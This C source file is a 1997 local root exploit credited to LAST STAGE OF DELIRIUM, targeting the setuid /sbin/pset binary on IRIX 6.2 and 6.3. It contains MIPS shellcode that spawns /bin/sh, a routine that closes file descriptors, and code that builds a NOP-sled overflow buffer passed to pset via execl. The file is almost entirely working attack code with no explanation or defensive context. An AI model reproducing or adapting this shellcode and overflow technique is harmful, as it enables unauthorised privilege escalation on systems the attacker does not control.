/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
/*## /sbin/pset                                                              #*/

#include <sys/fcntl.h>

#define NOPNUM   3324
#define ADRNUM   600
#define PCHNUM   200
#define ALLIGN   1

char closecode[]=
    "\x24\x05\x01\xf0"    /* li      $a1,300+196          */
    "\x24\x02\x03\xee"    /* li      $v0,1006             */
    "\x20\xa4\xfe\xd4"    /* addi    $a0,$a1,-300         */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x28\xa6\x01\x30"    /* slti    $a2,$a1,300+4        */
    "\x10\xc0\xff\xfb"    /* beqz    $a2,<closecode+4>    */
    "\x20\xa5\xff\xff"    /* addi    $a1,$a1,-1           */
;

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],*b;
    int i,d;

    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
    printf("/sbin/pset for irix 6.2 6.3 IP:20,22,32\n\n");

    for(i=0;i<196;i++){
        open("/dev",O_RDONLY);
    }

    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+0x2900+32000;
    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+0x2900;

    b=buffer;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(closecode);i++) *b++=closecode[i];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execl("/sbin/pset",buffer,0);
}
/*                    www.hack.co.za           [20 August 2000]*/